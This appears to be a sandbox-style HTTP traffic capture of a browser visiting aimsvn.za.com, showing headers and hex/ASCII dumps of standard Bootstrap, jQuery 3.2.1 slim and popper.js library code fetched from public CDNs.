2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d Data Ascii: }if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 Data Ascii: EAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".a
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 Data Ascii: ll),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];v
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 Data Ascii: test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirecti
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 Data Ascii: get:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "
2024-06-09 22:38:19 UTC	1369	IN	Data Raw: 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 Data Ascii: t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:19 UTC	535	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://aimsvn.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-09 22:38:19 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sun, 09 Jun 2024 22:38:19 GMT Age: 1690293 X-Served-By: cache-lga21963-LGA, cache-dfw-kdfw8210047-DFW X-Cache: HIT, HIT X-Cache-Hits: 8, 108 X-Timer: S1717972700.613369,VS0,VE0 Vary: Accept-Encoding
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-06-09 22:38:19 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Timestamp	Bytes transferred	Direction	Data
2024-06-09 22:38:19 UTC	560	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://aimsvn.za.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-09 22:38:19 UTC	964	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 441822 Expires: Fri, 30 May 2025 22:38:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EUOTMfpa2IZcSpTLZBgsQH95BVMQQ33lJogVDDcPuoChOHIEe7E6rXt8tWupYI%2FJnHbx8HnsRRDcGpYVP%2B9K%2BGfrEO91sOSOgSuQxSBK%2FK1PDsO9ZOblIO%2BPYNuWn6M7jen%2FJ1ZI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 89149c7c9cc76be9-DFW alt-svc: h3=":443"; ma=86400
2024-06-09 22:38:19 UTC	405	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
